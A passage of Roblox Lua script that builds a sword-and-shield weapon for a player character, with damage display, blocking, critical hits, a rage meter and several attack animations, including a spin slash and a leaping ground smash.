Tip3 = Part(Weapon, false, false, 0, 0, "Deep blue", 0.7, 0.3, 1.2)
Weld(Handle, Tip3, 0, -0.9, 0, 0, 0, 0)
Add.Mesh(Tip3, "http://www.roblox.com/asset/?id=9756362", 0.7, 0.35, 1.35)
Tip4 = Part(Weapon, false, false, 0, 0, "Deep blue", 0.6, 0.2, 1.8)
Weld(Handle, Tip4, 0, -0.9, 0, 0, 0, 0)
Tip5 = Part(Weapon, false, false, 0, 0, "Bright blue", 0.6, 0.6, 0.3)
Weld(Tip4, Tip5, 0, -0.4, -0.85, MR(-15), 0, 0)
Tip6 = Part(Weapon, false, false, 0, 0, "Bright blue", 0.6, 0.6, 0.3)
Weld(Tip4, Tip6, 0, -0.4, 0.85, MR(15), 0, 0)
Blades = {}
for i = 0, 180, 180 do
for x = -20, 20, 40 do
local lol = i-90
local lol2 = math.abs(lol/480)
local lol3 = x/90
local Blade1 = Part(Weapon, false, false, 0, 0.3, BladeColor, 0.2, 3.5, 0.6)
Instance.new("BlockMesh",Blade1).Scale = Vector3.new(0.2, 1, 0.99)
local w = Weld(Tip4, Blade1, lol2, 0, -lol3, 0, 0, 0)
w.C0 = CN(0, 1.7, 0) * CA(0, MR(i+x), 0)
table.insert(Blades, Blade1)
end
end
Tip7 = Part(Weapon, false, false, 0, 0.3, BladeColor, 0.3, 1.3, 0.7)
Add.Mesh(Tip7, "http://www.roblox.com/asset/?id=9756362", 0.31, 1.4, 0.8)
Weld(Tip4, Tip7, 0, -3.45, 0, 0, 0, 0)
table.insert(Blades, Tip7)
TH.Part1 = Handle
Shield = Instance.new("Model")
Shield.Name = "Shield"
SHandle = Part(Weapon, false, false, 0, 0, "Really black", 0.2, 0.9, 0.4)
SW.Part1 = SHandle
for i = 65, 115, 25 do
local STip1 = Part(Weapon, false, false, 0, 0, "Really black", 0.2, 0.5, 0.4)
local w = Weld(SHandle, STip1, 0.8, 0, 0, 0, 0, 0)
w.C0 = CN(-0.5, 0.2, 0) * CA(0, 0, MR(i))
end
for i = -65, -115, -25 do
local STip1 = Part(Weapon, false, false, 0, 0, "Really black", 0.2, 0.5, 0.4)
local w = Weld(SHandle, STip1, 0.8, 0, 0, 0, 0, 0)
w.C0 = CN(-0.5, -0.2, 0) * CA(0, 0, MR(i))
end
SHandle2 = Part(Weapon, false, false, 0, 0, "Really black", 0.2, 0.9, 0.4)
Weld(SHandle, SHandle2, 1, 0, 0, 0, 0, 0)
ShieldMain = Part(Weapon, false, false, 0, 0, "Medium grey", 0.3, 3.5, 1.1)
ShieldW = Weld(SHandle2, ShieldMain, 0, 0, 0, 0, 0, 0)
ShieldW.C0 = CN(0, -0.2, 0) * CA(0, MR(-5), 0)
STip1 = Part(Weapon, false, false, 0, 0, "Navy blue", 0.35, 0.4, 1.15)
Weld(ShieldMain, STip1, 0, -1.75, 0, 0, 0, 0)
STip2 = Part(Weapon, false, false, 0, 0, "Navy blue", 0.35, 0.4, 1.15)
Weld(ShieldMain, STip2, 0, 1.75, 0, 0, 0, 0)
for i = -15, 15, 30 do
local ShieldPlate = Part(Weapon, false, false, 0, 0, "Medium grey", 0.3, 3.5, 1.1)
local w = Weld(ShieldMain, ShieldPlate, 3.5, 0, 0, 0, 0, 0)
w.C0 = CN(3.5, 0, 0) * CA(0, math.rad(i), 0)
for x = -1.75, 1.75, 1.75*2 do
local STip3 = Part(Weapon, false, false, 0, 0, "Navy blue", 0.35, 0.4, 1.15)
Weld(ShieldPlate, STip3, 0, x, 0, 0, 0, 0)
end
local i2 = i/40
local STip3 = Part(Weapon, false, false, 0, 0, "Navy blue", 0.35, 3.9, 0.4)
Weld(ShieldPlate, STip3, 0, 0, -i2, 0, 0, 0)
end
Weapon.Parent = Mo
Shield.Parent = Mo
Mo.Parent = char
function ShowDamage(Dmg, Par, Crit, block)
local Pos = Par.CFrame * CN(0, 2.5, 0)
local M = Instance.new("Model")
local Loldmg = Dmg
if Loldmg < 0 then
Loldmg = 0
end
if tostring(Loldmg):sub(1,1) == "-" then
Loldmg = tostring(Loldmg):sub(2)
end
M.Name = Loldmg
local Col = "Bright red"
if Crit then Col = "Bright yellow" elseif block then Col = "Bright blue" end
local P = Part(M, false, false, 0, 0, Col, 0.8, 0.3, 0.8, true)
P.CFrame = CN(Par.Position)
P.Name = "Head"
local BP = Add.BP(P)
BP.position = Pos.p
BP.maxForce = Vector3.new(math.huge, math.huge, math.huge)
BP.P = 11000
Add.BG(P)
local H = hc:clone()
H.Parent = M
H.MaxHealth = 0
H.Health = 0
M.Parent = workspace
Notime(function()
wait(1.5)
M:remove()
end)
end
function Damage(P, Hum, dmg, crit, block)
if Hum then
if Hum.Health > 0 then
local Damg = dmg
if crit then
Damg = dmg*CritMultiplier
end
Damg = math.ceil(((Damg+AddDamage)*AddDamageX)-0.5)
Hum.Health = Hum.Health
ShowDamage(Damg, P, crit, block)
end
end
end
function ShieldDamage(mode, blockval, blockpowerval, crit)
if blockval and blockpowerval then
local ShieldDmg = mode[3]+AddShield
if crit then
ShieldDmg = mode[4]+AddShield
end
if blockpowerval then
blockpowerval.Value = blockpowerval.Value - ShieldDmg
if blockpowerval.Value < 1 then
blockval.Value = false
end
end
end
end
function getBlock(c)
local block, blockpow = nil
local blockin = false
for _,v in pairs(c:children()) do
if v.Name == "Block" and v:IsA("BoolValue") then
block = v
blockin = v.Value
local bp = v:findFirstChild("BlockPower")
if bp then
blockpow = bp
end
end
end
return block, blockpow, blockin
end
function TouchDamage(hit)
local Hum = getHumanoid(hit.Parent)
if Hum and Deb and Hurt then
Deb = false
local Crit = false
local BlockVal, BlockPowaVal, Blawk = getBlock(Hum.Parent)
local BlockPowa = 0
local blocksound = Sounds.SmashHit
if math.random(1,100/CritChance) == 1 then
Crit = true
end
local Damg = math.random(Mode[2]/3, Mode[2])
if Blawk then
Damg = 0
ShieldDamage(Mode, BlockVal, BlockPowaVal, Crit)
if BlockPowaVal then
if BlockPowaVal.Value < 1 then
blocksound = Sounds.Equip
end
end
end
if Mode[5] == false and RageMode == false and Blawk == false then
Rage = Rage + math.ceil(Damg*0.75-0.5)
end
if Blawk then
PlaySound(blocksound[1], blocksound[2]-0.15, blocksound[3])
else
PlaySound(Sounds.Hit[1], Sounds.Hit[2], Sounds.Hit[3])
end
Damage(hit, Hum, Damg, Crit, Blawk)
if Mode == Dmgs.Spin then
Notime(function()
wait(0.35)
Deb = true
end)
end
end
end
for _, v in pairs(Blades) do
v.Touched:connect(TouchDamage)
end
Bin = Instance.new("HopperBin", me.Backpack)
EffectOn = false
function StartEffect(color)
EffectOn = true
local lastPoint = Tip7.CFrame * EffPos.p
Notime(function()
while EffectOn do
wait()
local pos = Tip7.CFrame * EffPos.p
local magn = (lastPoint - pos).magnitude
local col = LineColor
if color and col ~= EffectColor3 then
col = color
end
local p = Part(workspace, true, false, 0.1, 0, col, 0.3, 1, 0.3, true)
local mesh = Add.Head(p)
mesh.Scale = Vector3.new(1, magn+0.1, 1)
p.CFrame = CN(lastPoint, pos) * CA(-MP/2, 0, 0) * CN(0, magn/2+0.05, 0)
lastPoint = pos
Notime(function()
wait(0.05)
for i = 0, 1, 0.12 do
p.Transparency = 0.1+0.9*i
mesh.Scale = Vector3.new(1-1*i, magn+0.1-0.1*i, 1-1*i)
wait()
end
p:remove()
end)
end
end)
end
function EndEffect()
EffectOn = false
end
function Detach()
RAW.Part1 = nil
LAW.Part1 = nil
RLW.Part1 = nil
LLW.Part1 = nil
RAW.C0 = CN()
LAW.C0 = CN()
RLW.C0 = CN()
LLW.C0 = CN()
end
function Normalize()
RAW.C0 = CA(MR(40), MR(50), 0)
LAW.C0 = CA(MR(20), MR(-20), MR(-20))
HW.C0 = CA(0, 0, 0)
neck.C0 = necko
end
SelectAnim = function()
RAW.Part1 = Rarm
HW.Part1 = nil
TH.Part1 = Handle
for i = 0.1, 1, 0.14 do
RAW.C0 = CA(MR(220*i), MR(-30*i), MR(-35*i)) * CN(0.4*i, 0, 0)
neck.C0 = necko * CA(MR(-10*i), 0, MR(-60*i))
wait()
end
PlaySound(Sounds.Equip[1], Sounds.Equip[2], Sounds.Equip[3])
HW.C0 = CN(0.4, 0, 0) * CA(MR(-60), MR(10), MR(100))
HW.Part1 = Handle
TH.Part1 = nil
LAW.Part1 = Larm
for i = 0.09, 1, 0.11 do
RAW.C0 = CA(MR(220-70*i), MR(-30+25*i), MR(-35+70*i)) * CN(0.4-0.4*i, 0, 0)
HW.C0 = CN(0.4-0.4*i, 0, 0) * CA(MR(-60+40*i), MR(10-10*i), MR(100-40*i))
LAW.C0 = CA(MR(20*i), MR(-20*i), MR(-20*i))
neck.C0 = necko * CA(MR(-10+10*i), 0, MR(-60+40*i))
wait()
end
for i = 0.14, 1, 0.25 do
RAW.C0 = CA(MR(150-60*i), MR(-5+15*i), MR(35-10*i))
HW.C0 = CA(MR(-20+20*i), 0, MR(60-30*i))
neck.C0 = necko * CA(0, 0, MR(-60+40+5*i))
wait()
end
for i = 0.1, 1, 0.14 do
RAW.C0 = CA(MR(90-50*i), MR(10+40*i), MR(25-25*i))
HW.C0 = CA(0, 0, MR(30-30*i))
neck.C0 = necko * CA(0, 0, MR(-15+15*i))
wait()
end
Normalize()
end
DeselectAnim = function()
for i = 0.09, 1, 0.14 do
RAW.C0 = CA(MR(40+100*i), MR(50-50*i), MR(20*i))
LAW.C0 = CA(MR(20-20*i), MR(-20+20*i), MR(-20+20*i))
HW.C0 = CN(0.4*i, 0, 0) * CA(MR(-30*i), MR(5*i), MR(20*i))
neck.C0 = necko * CA(MR(-5*i), 0, MR(-35*i))
wait()
end
LAW.Part1 = nil
for i = 0.08, 1, 0.14 do
RAW.C0 = CA(MR(140+80*i), MR(-30*i), MR(20-55*i))
HW.C0 = CN(0.4, 0, 0) * CA(MR(-30-30*i), MR(5+5*i), MR(20+80*i))
neck.C0 = necko * CA(MR(-5-10*i), 0, MR(-35-25*i))
wait()
end
HW.Part1 = nil
TH.Part1 = Handle
for i = 0.09, 1, 0.18 do
RAW.C0 = CA(MR(220-220*i), MR(-30+30*i), MR(20-55+35*i))
neck.C0 = necko * CA(MR(-5-10+15*i), 0, MR(-35-25+60*i))
wait()
end
neck.C0 = necko
Detach()
end
function setatk(s, e)
Notime(function()
Attack = e
wait(0.25)
Attack = s
end)
end
Attacks = {
function()
Attack = 1
Able = false
for i = 0.1, 1, 0.2 do
RAW.C0 = CA(MR(40+90*i), MR(50-60*i), 0)
HW.C0 = CA(0, 0, 0)
LAW.C0 = CA(MR(20+55*i), MR(-20), MR(-20+60*i))
neck.C0 = necko * CA(MR(-10*i), 0, MR(-25*i))
wait()
end
PlaySound(Sounds.Slash[1], Sounds.Slash[2], Sounds.Slash[3])
for i = 0.16, 1, 0.33 do
RAW.C0 = CA(MR(130+5*i), MR(-10-20*i), 0)
HW.C0 = CA(0, 0, 0)
LAW.C0 = CA(MR(75+5*i), MR(-20), MR(40+5*i))
neck.C0 = necko * CA(MR(-10-5*i), 0, MR(-25-5*i))
wait()
end
Hurt = true
Deb = true
StartEffect()
Mode = Dmgs.Slash
for i = 0.11, 1, 0.22 do
RAW.C0 = CA(MR(135-115*i), MR(-30), MR(-50*i)) * CN(0, -0.7*i, 0)
HW.C0 = CA(MR(-70*i), 0, 0)
LAW.C0 = CA(MR(80-120*i), MR(-20+20*i), MR(45-45*i))
neck.C0 = necko * CA(MR(-15+30*i), 0, MR(-30+45*i))
wait()
end
EndEffect()
Hurt = false
setatk(1,2)
Able = true
for i = 0.2, 1, 0.25 do
RAW.C0 = CA(MR(20-18*i), MR(-30), MR(-50-3*i)) * CN(0, -0.7-0.05*i, 0)
HW.C0 = CA(MR(-70-5*i), 0, 0)
neck.C0 = necko * CA(MR(15+3*i), 0, MR(15+3*i))
wait()
end
wait(0.1)
for i = 0.1, 1, 0.15 do
if Able == false then return end
RAW.C0 = CA(MR(2+38*i), MR(-30+80*i), MR(-53+53*i)) * CN(0, -0.75+0.75*i, 0)
HW.C0 = CA(MR(-75+75*i), 0, 0)
LAW.C0 = CA(MR(-40+60*i), MR(-20+20-20*i), MR(-20*i))
neck.C0 = necko * CA(MR(15+3-18*i), 0, MR(15+3-18*i))
wait()
end
Normalize()
end,
function()
Attack = 2
Able = false
PlaySound(Sounds.Slash[1], Sounds.Slash[2]+0.1, Sounds.Slash[3])
for i = 0.05, 1, 0.1 do
RAW.C0 = CA(MR(10+80*i), MR(-30+30*i), MR(-55+35*i)) * CN(0, -0.75+0.35*i, 0)
LAW.C0 = CA(MR(-40), 0, 0)
HW.C0 = CA(MR(-75+75*i), 0, MR(90*i))
neck.C0 = necko * CA(MR(18-13*i), 0, MR(18+22*i))
wait()
end
Hurt = true
Deb = true
StartEffect()
Mode = Dmgs.SideSlash
for i = 0.09, 1, 0.17 do
RAW.C0 = CA(MR(90-40*i), 0, MR(-20+110*i)) * CN(0, -0.4+0.4*i, 0)
HW.C0 = CA(0, MR(-65*i), MR(90))
LAW.C0 = CA(MR(-40+120*i), MR(-20*i), MR(50*i)) * CN(0, -0.6*i, 0)
neck.C0 = necko * CA(MR(5), 0, MR(40-90*i))
wait()
end
EndEffect()
Hurt = false
Deb = false
setatk(1,3)
Able = true
for i = 0.12, 1, 0.25 do
RAW.C0 = CA(MR(50-5*i), 0, MR(90+10*i))
HW.C0 = CA(0, MR(-65-5*i), MR(90))
LAW.C0 = CA(MR(-40+120), MR(-20), MR(50+5*i)) * CN(0, -0.6, 0)
neck.C0 = necko * CA(MR(5), 0, MR(40-90-5*i))
wait()
end
wait(0.08)
for i = 0.05, 1, 0.1 do
if Able == false then return end
RAW.C0 = CA(MR(45-5*i), MR(50*i), MR(100-100*i)) * CN(0, 0, 0)
HW.C0 = CA(0, MR(-70+70*i), MR(90-90*i))
LAW.C0 = CA(MR(-40+120-60*i), MR(-20), MR(55-75*i)) * CN(0, -0.6+0.6*i, 0)
neck.C0 = necko * CA(MR(5-5*i), 0, MR(-55+55*i))
wait()
end
Normalize()
end,
function()
Able = false
for i = 0.05, 1, 0.08 do
RAW.C0 = CA(MR(50+130*i), 0, MR(90-125*i)) * CN(0, -1*i, 0)
HW.C0 = CA(0, MR(-65-35*i), MR(90-90*i))
LAW.C0 = CA(MR(80+100*i), MR(-20+20*i), MR(50-15*i)) * CN(0, -0.6-0.4*i, 0)
neck.C0 = necko * CA(MR(5-25*i), 0, MR(-50+50*i))
wait()
end
PlaySound(Sounds.Slash[1], Sounds.Slash[2]+0.05, Sounds.Slash[3])
for i = 0.13, 1, 0.25 do
RAW.C0 = CA(MR(180+10*i), 0, MR(-35)) * CN(0, -1, 0)
HW.C0 = CA(0, MR(-100), 0)
LAW.C0 = CA(MR(180+10*i), 0, MR(35)) * CN(0, -1, 0)
neck.C0 = necko * CA(MR(5-25-5*i), 0, 0)
wait()
end
StartEffect()
Hurt = true
Deb = true
Mode = Dmgs.Smash
for i = 0.06, 1, 0.12 do
RAW.C0 = CA(MR(190-160*i), 0, MR(-35)) * CN(0, -1+0.2*i, 0)
HW.C0 = CA(MR(-20*i), MR(-100-40*i), MR(40*i))
LAW.C0 = CA(MR(190-160*i), 0, MR(35)) * CN(0, -1+0.2*i, 0)
neck.C0 = necko * CA(MR(-25+45*i), 0, 0)
wait()
end
PlaySound(Sounds.SmashHit[1], Sounds.SmashHit[2], Sounds.SmashHit[3])
EndEffect()
Hurt = false
Deb = false
for i = 0.2, 1, 0.5 do
RAW.C0 = CA(MR(30+15*i), 0, MR(-35)) * CN(0, -0.8+0.4*i, 0)
HW.C0 = CA(MR(-20), MR(-140), MR(40))
LAW.C0 = CA(MR(30+15*i), 0, MR(35)) * CN(0, -0.8+0.4*i, 0)
neck.C0 = necko * CA(MR(20), 0, 0)
wait()
end
setatk(1,4)
Able = true
for i = 0.16, 1, 0.33 do
if not Able then return end
RAW.C0 = CA(MR(30+15-15*i), 0, MR(-35)) * CN(0, -0.8+0.4-0.2*i, 0)
HW.C0 = CA(MR(-20), MR(-140), MR(40))
LAW.C0 = CA(MR(30+15-15*i), 0, MR(35)) * CN(0, -0.8+0.4-0.2*i, 0)
neck.C0 = necko * CA(MR(20), 0, 0)
wait()
end
for i = 0.05, 1, 0.1 do
if not Able then return end
RAW.C0 = CA(MR(30+10*i), MR(50*i), MR(-35+35*i)) * CN(0, -0.8+0.4-0.2+0.6*i, 0)
HW.C0 = CA(MR(-20+20*i), MR(-140+140*i), MR(40-40*i))
LAW.C0 = CA(MR(30+15-15-10*i), MR(-20*i), MR(35-55*i)) * CN(0, -0.8+0.4-0.2+0.6*i, 0)
neck.C0 = necko * CA(MR(20-20*i), 0, 0)
wait()
end
Normalize()
end,
function()
Able = false
for i = 0.06, 1, 0.12 do
RAW.C0 = CA(MR(30), MR(-20*i), MR(-35-25*i)) * CN(0, -0.8, 0)
HW.C0 = CA(MR(-20-60*i), MR(-140-40*i), MR(40-40*i))
LAW.C0 = CA(MR(30-110*i), 0, MR(35-35*i)) * CN(0, -0.8+0.8*i, 0)
neck.C0 = necko * CA(MR(20-15*i), 0, MR(10*i))
wait()
end
Mode = Dmgs.DoubleSlash
StartEffect()
playz(Sounds.Slash)
Hurt = true
Deb = true
for i = 0.07, 1, 0.14 do
RAW.C0 = CA(MR(30+120*i), MR(-20), MR(-60+80*i)) * CN(0, -0.8+0.8*i, 0)
HW.C0 = CA(MR(-80+60*i), MR(180), 0)
LAW.C0 = CA(MR(-50+100*i), 0, MR(30*i))
neck.C0 = necko * CA(MR(5-25*i), 0, MR(10-30*i))
wait()
end
EndEffect()
Hurt = false
for i = 0.17, 1, 0.33 do
RAW.C0 = CA(MR(150+15*i), MR(-20), MR(20+5*i))
HW.C0 = CA(MR(-20), MR(180), 0)
LAW.C0 = CA(MR(50+5*i), 0, MR(30+10*i))
neck.C0 = necko * CA(MR(-20-5*i), 0, MR(-20))
wait()
end
for i = 0.13, 1, 0.25 do
RAW.C0 = CA(MR(165-15*i), MR(-20+50*i), MR(25-75*i))
HW.C0 = CA(MR(-20-20*i), MR(180), 0)
LAW.C0 = CA(MR(55+45*i), 0, MR(40-30*i))
neck.C0 = necko * CA(MR(-25), 0, MR(-20+35*i))
wait()
end
StartEffect()
Hurt = true
Deb = true
playz(Sounds.Slash)
for i = 0.08, 1, 0.16 do
RAW.C0 = CA(MR(150-110*i), MR(30), MR(-50+65*i))
HW.C0 = CA(MR(-40-40*i), MR(180), 0)
LAW.C0 = CA(MR(100-50*i), MR(-30*i), MR(10+30*i)) * CN(0, -1.1*i, 0)
neck.C0 = necko * CA(MR(-25+45*i), 0, MR(15-30*i))
wait()
end
EndEffect()
Hurt = false
for i = 0.13, 1, 0.25 do
RAW.C0 = CA(MR(40-5*i), MR(30), MR(15+5*i))
HW.C0 = CA(MR(-80-5*i), MR(180), 0)
LAW.C0 = CA(MR(50), MR(-30), MR(40)) * CN(0, -1.1-0.1*i, 0)
neck.C0 = necko * CA(MR(20+5*i), 0, MR(-15-5*i))
wait()
end
for i = 0.09, 1, 0.16 do
RAW.C0 = CA(MR(35+5*i), MR(30+20*i), MR(20-20*i))
HW.C0 = CA(MR(-85+85*i), MR(180+180*i), 0)
LAW.C0 = CA(MR(50-30*i), MR(-30+10*i), MR(40-60*i)) * CN(0, -1.2+1.2*i, 0)
neck.C0 = necko * CA(MR(25-25*i), 0, MR(-20+20*i))
wait()
end
Normalize()
Able = true
Attack = 1
end
}
SpinSlash = function(plaic)
if Rage < Dmgs.Spin[6] then return end
Rage = Rage - Dmgs.Spin[6]
local cf = torso.CFrame
local CF = ComputePos(cf.p, cf * CN(0, 0, -2))
if plaic then
CF = ComputePos(cf.p, plaic)
end
AbleAll = false
local bg = Add.BG(torso)
bg.cframe = CF
for i = 0.07, 1, 0.14 do
RAW.C0 = CA(MR(40+50*i), MR(50-65*i), 0)
HW.C0 = CA(0, 0, MR(90*i))
LAW.C0 = CA(MR(20-20*i), MR(-20+20*i), MR(-20-60*i))
neck.C0 = necko * CA(0, 0, MR(-30*i))
bg.cframe = CF * CA(0, MR(30*i), 0)
wait()
end
StartEffect()
Hurt = true
Deb = true
Mode = Dmgs.Spin
Notime(function()
while Hurt do
PlaySound(Sounds.Slash[1], Sounds.Slash[2]+0.35, Sounds.Slash[3])
wait(0.15)
end
end)
for i = 0.04, 1, 0.06 do
RAW.C0 = CA(MR(90-10*i), MR(-15), MR(90*i))
HW.C0 = CA(0, MR(-70*i), MR(90))
LAW.C0 = CA(MR(90*i), 0, MR(-20-60+120*i)) * CN(0, -0.7*i, 0)
neck.C0 = necko * CA(0, 0, MR(-30+20*i))
bg.cframe = CF * CA(0, MR(30-380*i), 0)
wait()
end
EndEffect()
for i = 0.09, 1, 0.17 do
RAW.C0 = CA(MR(80), MR(-15), MR(90))
HW.C0 = CA(0, MR(-70-10*i), MR(90))
LAW.C0 = CA(MR(90), 0, MR(-20-60+120+20*i)) * CN(0, -0.7, 0)
neck.C0 = necko * CA(0, 0, MR(-10+60*i))
bg.cframe = CF * CA(0, MR(-350-60*i), 0)
wait()
end
Hurt = false
Deb = false
for i = 0.05, 1, 0.1 do
RAW.C0 = CA(MR(80-40*i), MR(-15+65*i), MR(90-90*i))
HW.C0 = CA(0, MR(-80+80*i), MR(90-90*i))
LAW.C0 = CA(MR(90-70*i), MR(-20*i), MR(60-80*i)) * CN(0, -0.7+0.7*i, 0)
neck.C0 = necko * CA(0, 0, MR(-10+60-50*i))
bg.cframe = CF * CA(0, MR(-410+50*i), 0)
wait()
end
bg:remove()
Normalize()
AbleAll = true
end
Flawp = function(plaic)
local cf = torso.CFrame
local CF = ComputePos(cf.p, cf * CN(0, 0, -2))
if plaic then
CF = ComputePos(cf.p, plaic)
end
local cf2 = CF * CN(0, -1.1, -1)
local Dist = 8
local Hit1, Pos1 = RayC(CF.p, (CF * CN(0, -1, 0)).p, 4, char)
local Hit2, Pos2 = RayC((CF * CN(0, 0, -Dist*2)).p, (CF * CN(0, -1, -Dist*2)).p, 4, char)
local Hit3, Pos3 = RayC(CF.p, (CF * CN(0, 0, -Dist*2)).p, Dist*2, char)
if Rage < Dmgs.Boom[6] then return end
if Hit1 and Hit2 then
Rage = Rage - Dmgs.Boom[6]
local bp = Add.BP(torso)
bp.position = cf.p
local bg = Add.BG(torso)
bg.cframe = CF
AbleAll = false
RLW.Part1 = Rleg
LLW.Part1 = Lleg
for i = 0.05, 1, 0.1 do
RAW.C0 = CA(MR(40+30*i), MR(50-50*i), MR(25*i))
LAW.C0 = CA(MR(20+50*i), MR(-20+20*i), MR(-20-5*i))
HW.C0 = CA(MR(25*i), 0, 0)
RLW.C0 = CN(0, 1*i, -1*i)
LLW.C0 = CA(MR(-90*i), 0, 0) * CN(0, 0.5*i, -0.2*i)
neck.C0 = necko * CA(MR(20*i), 0, 0)
bp.position = CF * CN(0, -1*i, -1*i).p
wait()
end
local Center = cf2 * CN(0, 0, -Dist)
hum.PlatformStand = true
PlaySound(Sounds.Jump[1], Sounds.Jump[2], Sounds.Jump[3])
for i = 0.06, 1, 0.1 do
RAW.C0 = CA(MR(70-160*i), 0, MR(25+15*i))
LAW.C0 = CA(MR(70-160*i), 0, MR(-25-15*i))
HW.C0 = CA(MR(25), 0, 0)
RLW.C0 = CN(0, 1-1*i, -1+1*i)
LLW.C0 = CA(MR(-90+70*i), 0, 0) * CN(0, 0.5+0.7*i, -0.2-0.3*i)
neck.C0 = necko * CA(MR(20-50*i), 0, 0)
bp.position = Center * CA(MR(180-45*i), 0, 0) * CN(0, 0, -Dist).p
bg.cframe = CF * CA(MR(-90*i), 0, 0)
wait()
end
for i = 0.06, 1, 0.1 do
RAW.C0 = CA(MR(-90-90*i), 0, MR(40+50*i))
LAW.C0 = CA(MR(-90-90*i), 0, MR(-40-50*i))
HW.C0 = CA(MR(25-25*i), 0, MR(-90*i))
RLW.C0 = CN(0, 0, 0)
LLW.C0 = CA(MR(-20+20*i), 0, 0) * CN(0, 1.2-1.2*i, -0.5+0.5*i)
bp.position = Center * CA(MR(135-45*i), 0, 0) * CN(0, 0, -Dist).p
bg.cframe = CF * CA(MR(-90-90*i), 0, 0)
wait()
end
StartEffect()
for i = 0.06, 1, 0.1 do
RAW.C0 = CA(MR(180+10*i), 0, MR(90-130*i)) * CN(0, -1*i, 0)
LAW.C0 = CA(MR(180+10*i), 0, MR(-90+130*i)) * CN(0, -1*i, 0)
HW.C0 = CA(0, 0, MR(-90-90*i))
RLW.C0 = CN(0, 0, 0)
LLW.C0 = CA(0, 0, 0) * CN(0, 0, 0)
bp.position = Center * CA(MR(90-45*i), 0, 0) * CN(0, 0, -Dist).p
bg.cframe = CF * CA(MR(-180-90*i), 0, 0)
wait()
end
playz(Sounds.Slash)
for i = 0.06, 1, 0.1 do
RAW.C0 = CA(MR(190-100*i), 0, MR(-40)) * CN(0, -1-0.2*i, 0)
LAW.C0 = CA(MR(190-80*i), MR(-25*i), MR(40-15*i)) * CN(0, -1-0.2*i, 0)
HW.C0 = CA(0, MR(-45*i), MR(-180))
RLW.C0 = CN(0, 1*i, -1*i)
LLW.C0 = CA(MR(-20-70*i), 0, 0) * CN(0, 1.2-0.7*i, -0.5+0.3*i)
neck.C0 = necko * CA(MR(-30+60*i), 0, 0)
bp.position = Center * CA(MR(45-45*i), 0, 0) * CN(0, 0, -Dist).p
bg.cframe = CF * CA(MR(-270-90*i), 0, 0)
wait()
end
Mode = Dmgs.Boom
EndEffect()
RAW.C0 = CA(MR(90), 0, MR(-40)) * CN(0, -1.2, 0)
LAW.C0 = CA(MR(110), MR(-25), MR(25)) * CN(0, -1.2, 0)
HW.C0 = CA(0, MR(-45), MR(-180))
RLW.C0 = CN(0, 1, -1)
LLW.C0 = CA(MR(-90), 0, 0) * CN(0, 0.5, -0.2)
bp.position = Center * CN(0, 0, -Dist).p
bg.cframe = CF * CA(0, 0, 0)
local PosEff = Center * CN(0, -2, -Dist-2.5)
Notime(function()
playz(Sounds.Boom)
local disst = Dmgs.Boom[7]
local chars = getCharacters(workspace, PosEff.p, disst)
for _,v in pairs(chars) do
local c, t, h = v[1], v[2], v[3]
local d = (t.Position - PosEff.p).magnitude
local bl, bp, blo = getBlock(c)
if blo then
ShieldDamage(Dmgs.Boom, bl, bp, false)
end
d = d/4
if d < 1 then d = 1 end
Damage(t, h, Dmgs.Boom[2]/d, false, false)
for _,k in pairs(c:children()) do
if k:IsA("BasePart") then
k.Velocity = CFrame.new(PosEff.p, k.Position).lookVector * 40 + Vector3.new(0, 50, 0)
end
end
h.PlatformStand = true
Notime(function() h.PlatformStand = false end, 0.2)
end
local eff = Instance.new("Model",workspace)
eff.Name = "Effect"
local wave = Part(eff, true, false, 0, 0, EffectColor, 1, 1, 1, true)
wave.CFrame = PosEff
local wavem = Add.Mesh(wave, "http://www.roblox.com/asset/?id=20329976", 3, 2, 3)
local ball = Part(eff, true, false, 0, 0, EffectColor2, 1, 1, 1, true)
ball.CFrame = PosEff
local ballm = Add.Sphere(ball)
ballm.Scale = Vector3.new(2, 5, 2)
local diamond = Part(eff, true, false, 0, 0, EffectColor, 1, 1, 1, true)
diamond.CFrame = PosEff
local diamondm = Add.Mesh(diamond, "http://www.roblox.com/asset/?id=9756362", 7, 0.5, 7)
for i = 0, 1, 0.05 do
wait()
wave.CFrame = PosEff * CFrame.Angles(0, MR(180*i), 0)
wave.Transparency = i
wavem.Scale = Vector3.new(3+(disst*1.15)*i, 2+(disst/1.4)*i, 3+(disst*1.15)*i)
ball.Transparency = i
ballm.Scale = Vector3.new(1+(disst*2)*i, 5+(disst*1.2)*i, 1+(disst*2)*i)
diamond.Transparency = i
diamondm.Scale = Vector3.new(7-6.5*i, 0.5+(disst*2)*i, 7-6.5*i)
end
wait()
eff:remove()
end)
wait(0.4)
for i = 0.07, 1, 0.1 do
RAW.C0 = CA(MR(90+50*i), 0, MR(-40)) * CN(0, -1.2+0.4*i, -0.4*i)
LAW.C0 = CA(MR(110+30*i), MR(-25+25*i), MR(25+15*i)) * CN(0, -1.2+0.4*i, -0.4*i)
HW.C0 = CA(MR(-30*i), MR(-45+45*i), MR(-180-30*i)) * CN(0, -0.7*i, 0)
RLW.C0 = CN(0, 1-1*i, -1+1*i)
LLW.C0 = CA(MR(-90+90*i), 0, 0) * CN(0, 0.5-0.5*i, -0.2+0.2*i)
neck.C0 = necko * CA(MR(30-15*i), 0, 0)
bp.position = Center * CN(0, 1.4*i, -Dist-1*i).p
wait()
end
bp:remove()
bg:remove()
hum.PlatformStand = false
for i = 0.05, 1, 0.1 do
RAW.C0 = CA(MR(140-100*i), MR(50*i), MR(-40+40*i)) * CN(0, -0.8+0.8*i, -0.4+0.4*i)
LAW.C0 = CA(MR(140-190*i), 0, MR(40-80*i)) * CN(0, -0.8+0.8*i, -0.4+0.4*i)
HW.C0 = CA(MR(-30+30*i), 0, MR(-210-150*i)) * CN(0, -0.7+0.7*i, 0)
RLW.C0 = CN()
LLW.C0 = CN()
neck.C0 = necko * CA(MR(15-15*i), 0, 0)
bp.position = Center * CN(0, 1.4-0.4*i, -Dist-1-0.3*i).p
wait()
end
RLW.Part1 = nil
LLW.Part1 = nil
for i = 0.1, 1, 0.2 do
LAW.C0 = CA(MR(-50+70*i), MR(-20*i), MR(-40+20*i))
wait()
end
Normalize()
AbleAll = true
end
end
function Raeg()
if Rage < Dmgs.RageMode[5] then return end
if RageMode == false and AbleAll and Able then
AbleAll = false
local CF = ComputePos(torso.Position, torso.CFrame * CN(0, 0, -2))
for i = 0.05, 1, 0.1 do
RAW.C0 = CA(MR(40-70*i), MR(50-45*i), MR(10*i))
LAW.C0 = CA(MR(20-50*i), MR(-20+15*i), MR(-20+10*i))
HW.C0 = CA(MR(20*i), 0, 0)
wait()
end
for i = 0.12, 1, 0.25 do
